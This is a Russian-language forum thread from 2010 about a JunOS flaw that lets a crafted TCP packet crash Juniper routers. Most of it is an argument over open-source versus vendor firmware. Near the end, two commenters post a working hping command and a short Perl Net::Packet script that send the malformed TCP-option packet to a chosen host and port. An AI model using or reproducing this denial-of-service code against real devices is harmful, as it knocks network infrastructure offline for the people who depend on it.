| 1.1, Аноним (-), 22:40, 08/01/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
С учетом того, что в JunOS используется код FreeBSD, нет ли подобной дыры в других *BSD системах ?
| | |
| |
| 2.2, Hety (??), 22:53, 08/01/2010 [^] [^^] [^^^] [ответить]
| +/– |
Фряшный код используется не во всех подсистемах. Деталей не помню, но есть вероятность, что сетевая как раз своя. Или, как минимум, была обработана напильником.
| | |
|
| 1.3, chemtech (?), 10:54, 09/01/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
 Была бы свободная прошивка, накатил патч, а тут ждать когда они обновят прошивку и не факт что еще все дыры залатали...
| | |
| |
| |
| 3.6, User294 (ok), 16:40, 09/01/2010 [^] [^^] [^^^] [ответить]
| –2 +/– | |
>У d-link свободная прошивка, попробуй накатай патч.
У меня именно таким манером в свое время был Д-линк ... с прошивкой от сторонних авторов (McMcc). Да и на ряд длинков с эзернетом нынче подходят прошивки "от Олега". Кстати вполне обычна ситуация когда дыры и назойливые баги (вплоть до ляпов не позволяющих юзать девайс в нужной конфигурации вообще, как это бывало с типовой для России связкой DHCP+PPTP например) в сторонних прошивках фиксятся шибко быстрее чем раздуплятся вендоры. И это большой плюс опенсорсных прошивок. Можно сосать месяцами, менять два десятка девайсов, прыгать с бубном и прочая. А можно влить фирмваре от местных спецов, которые в вопросе разбираются и в курсе "национальных особенностей" и через 10 минут все будет работать. Лучше чем оригинал, как правило. Ну да, бздунам с их всеобщим счастьем для закрывателей сорсов такое ессно не светит. Пусть наслаждаются своими блобами и тотальной зависимостью от вендора с невозможностью без большого траха исправить самолично жалкие пару байтов чтобы исправить какую-то вот такую вот хрень.
| | |
| |
| 4.10, arachnid (??), 22:13, 09/01/2010 [^] [^^] [^^^] [ответить]
| –2 +/– |
 осподи, опять крышу снесло от букв bsd?
ps. а что делать, если не будет очередного Олега, а юзер? ты сам готов прошивку писать?
а то вот например сейчас очень популяы насы на линухе, а вот прошивок для них как-то тухло. чего бы не приложиться?
| | |
| |
| 5.11, vitek (??), 00:37, 10/01/2010 [^] [^^] [^^^] [ответить]
| +/– |
а его уже как полтора года нет.
нашлись другие - http://code.google.com/p/wl500g/
проблем то. там то его собрать, что бзишнегу мир.
>а то вот например сейчас очень популяы насы на линухе, а вот прошивок для них как-то тухло. чего бы не приложиться?
давай насу. приложусь.
зы:
крышу то держи. а то с выдувает всё то из под неё то.
| | |
| |
| 6.13, arachnid (ok), 15:54, 10/01/2010 [^] [^^] [^^^] [ответить]
| +/– |
>а его уже как полтора года нет.
>нашлись другие - http://code.google.com/p/wl500g/
>проблем то. там то его собрать, что бзишнегу мир.
>>а то вот например сейчас очень популяы насы на линухе, а вот прошивок для них как-то тухло. чего бы не приложиться?
>
>давай насу. приложусь.
>
>зы:
>крышу то держи. а то с выдувает всё то из под неё
>то.
идешь на сайт интела и берешь прошивку. все просто. правда энтузиастам пока почему то не удалось сделать свою.
http://www.intel.com/support/ru/motherboards/server/ss4000-e/ - вот оно. как то пока "Олега" на это устройство не наблюдается.
а что касаемо крыши - так я же не бегаю по топикам, где светятся буквы gpl и не поливаю говном ее использующих.
| | |
| |
| 7.16, User294 (ok), 20:55, 10/01/2010 [^] [^^] [^^^] [ответить]
| +/– |
А в чем было поливание говном? Я констатировал факт что при наличии сорсов тупые баги зачастую чинятся локально куда быстрее чем пока там снимется с тормоза вендор. Это теперь уже считается за поливание говном? Да вы совсем уж с дуба рухнули с вашим фанатизмом. Ну да, конечно, орать про свободу на форуме - это одно, а починить тупой баг в фирмваре по быстренькому - другое. Как по мне - предпочитаю фактическую свободу вместо громких деклараций о всеобщем счастье.
| | |
|
|
| 5.14, User294 (ok), 20:42, 10/01/2010 [^] [^^] [^^^] [ответить]
| +/– | |
> ps. а что делать, если не будет очередного Олега, а юзер? ты сам готов прошивку писать?
Я осваиваю OpenWRT и связанные с ним околосистемные дела. Весьма осмысленная такая штука - как раз для создания на его основе своих прошивок под свои вкусы и цели. Мне нравится. И с нуля ничего писать не надо, в общем то. Велосипедостроение - удел проприетарщиков и жлобов. Базовых платформ - не так уж и много и какая-никакая поддержка оных уже вколупана. Да, ессно мне до высот как у матерых системщиков пока далековато. Но в конце концов не боги горшки обжигают. Предпочитаю учиться что-то делать сам чем подлизывать "божкам" из [тут проприетарная контора по вкусу] в надежде на их милость. Попробовав и так и сяк пришел к выводу что так мне нравится больше.
> а вот прошивок для них как-то тухло. чего бы не приложиться?
Ну, кому интересно это направлене - в своем праве поприкладываться. Я пока подсел на OpenWRT, а это все-таки не NAS. Да и где-то на уровне интуиции понятно что NAS как класс soho девайсов вероятно умрет - ИМХО интеграция в SOHO вскоре вгонит все в 1 универсальный девайс вида "роутер + wi-fi + HDD". Как в свое время умерли КПК в пользу более интегренных коммуникаторов. Если Marvell запозиционирует свои процы как платформу для роутерообразных штук и у меня будет такая железяка - я с удовольствием с ней покопаютсь. А в данный момент мне и так есть где приложиться.
| | |
| |
| 6.18, arachnid (ok), 21:52, 10/01/2010 [^] [^^] [^^^] [ответить]
| +/– | |
"Ну да, бздунам с их всеобщим счастьем для закрывателей сорсов такое ессно не светит" - то есть это взвешенный и аргументированный коммент?
| | |
| |
| 7.19, User294 (ok), 22:28, 10/01/2010 [^] [^^] [^^^] [ответить]
| +/– |
Да, кой-в чем вы правы: надо стараться избегать таких оборотов провоцирующих на колкости в ответ. Однако со своей стороны замечу что меня интересуют технические моменты а не кидание какашками и выяснение какие козлы собеседники. И вот в этом плане я что-то внятных контр-аргументов не вижу.Зато рассказать мне какой я козел - это всегда пожалуйста.
| | |
|
| 6.22, Юрий (??), 05:22, 11/01/2010 [^] [^^] [^^^] [ответить]
| +/– |
>Если Marvell запозиционирует
>свои процы как платформу для роутерообразных штук и у меня будет
>такая железяка - я с удовольствием с ней покопаютсь. А в
>данный момент мне и так есть где приложиться.
Так покопайтесь с Time Capsule - внутри 100% Marvell
| | |
| |
| 7.31, User294 (ok), 18:42, 18/01/2010 [^] [^^] [^^^] [ответить]
| +/– | |
>Так покопайтесь с Time Capsule - внутри 100% Marvell
Это чего-то яббловское как я понял? От продукции яббла я предпочитаю держаться подальше, слишком уж противный и ограничительный вендор, даже хуже MS имхо, т.к. задранные цены + в их железках всегда найдется какая-то пакость которая отравит удовольствие от обладания девайсом. Да и если у вас нет мака (а мне и без него хорошо) - яббловские железки обычно не слишком ориентированы на всех остальных. Вот если несколько более-менее нейтральных вендоров начнут юзать платформу для роутеров, я к ней присмотрюсь, факт.
P.S. а вообще, честное пионерское, мне есть с чем поковыряться в свое удовольствие и я в состоянии выбрать себе предметы ковыряния сам. Без всяких ябблов на горизонте.
| | |
|
|
|
| 4.28, анон (?), 08:29, 15/01/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
йо. ваше маниакальное стремление пересадить всех на опенсорц напоминает РМС. хотите использовать в ядре сети железку с прошивкой "от олега" - ваше дурное право. но пропагандировать свою дурь это уж через чур. да, кстати. сетевые железки - большой бизнес. а в бизнесе не будет ничего открытого, ибо конкуренция и коммерческая тайна.
| | |
|
|
|
| 1.7, аноним (?), 19:02, 09/01/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
да. Ынтерпрайз баги, классика... классика, конечно, пинг смерти, но и это сойдёт
| | |
| 1.9, XoRe (ok), 21:53, 09/01/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
>Подробностей по поводу того каким образом должен быть сформирован пакет
>не сообщается.
Можно попробовать подойти к вопросу с точки зрения комбинаторики.
Нагенерить 2 в степени n пакетов и поотсылать их устройству.
На каком пакете упадет, тот левый)
| | |
| |
| 2.17, User294 (ok), 21:03, 10/01/2010 [^] [^^] [^^^] [ответить]
| +/– |
А чему равно n? А то скажем 2^128 пакетоы вы обломитесь послать пожалуй :)
| | |
|
| 1.12, vgray (??), 10:38, 10/01/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
 посмотрел видео, попробовал. там в описании ошибка небольшая. но все работает
hping -c 1 -p 23 -L 0 -M 0 192.168.10.210 -S -E ./jun/1012 -d 10 -O 7
убивает 9й джун наповал.
| | |
| 1.21, Аноним (-), 04:23, 11/01/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
А можно содержимое файлика /jun/1012. Всё равно 23-й порт закрыт от обычных пользователей.
| | |
| |
| 2.23, vgray (??), 05:34, 11/01/2010 [^] [^^] [^^^] [ответить]
| +/– |
>А можно содержимое файлика /jun/1012. Всё равно 23-й порт закрыт от обычных
>пользователей.
увы не скажу, так как даже если порт закрыт ACL то все равно джунипер валится. Попробуйте почитать исходную новость и попробовать самим подобрать содержимое файла
| | |
|
| 1.25, Аноним (-), 08:55, 11/01/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Если не сложно можно связаться с Вами для уточнения содержимого пакета, так как подбор не помог и Жунипер не отреагировал, встает вопрос версия не восприимчива или просто не правильно сформирован пакет?
| | |
| 1.27, luzers (?), 14:27, 11/01/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– | |
#!/usr/bin/perl
my $host = shift;
my $port = shift;
use Net::Packet qw($Env);
use Net::Packet::IPv4;
my $ip = Net::Packet::IPv4->new(dst => $host);
use Net::Packet::TCP;
my $tcp = Net::Packet::TCP->new(
dst => $port,
options => "\x65\x02\x01\x01",
);
use Net::Packet::Frame;
my $frame = Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);
$frame->send;
exit 0;
| | |
|
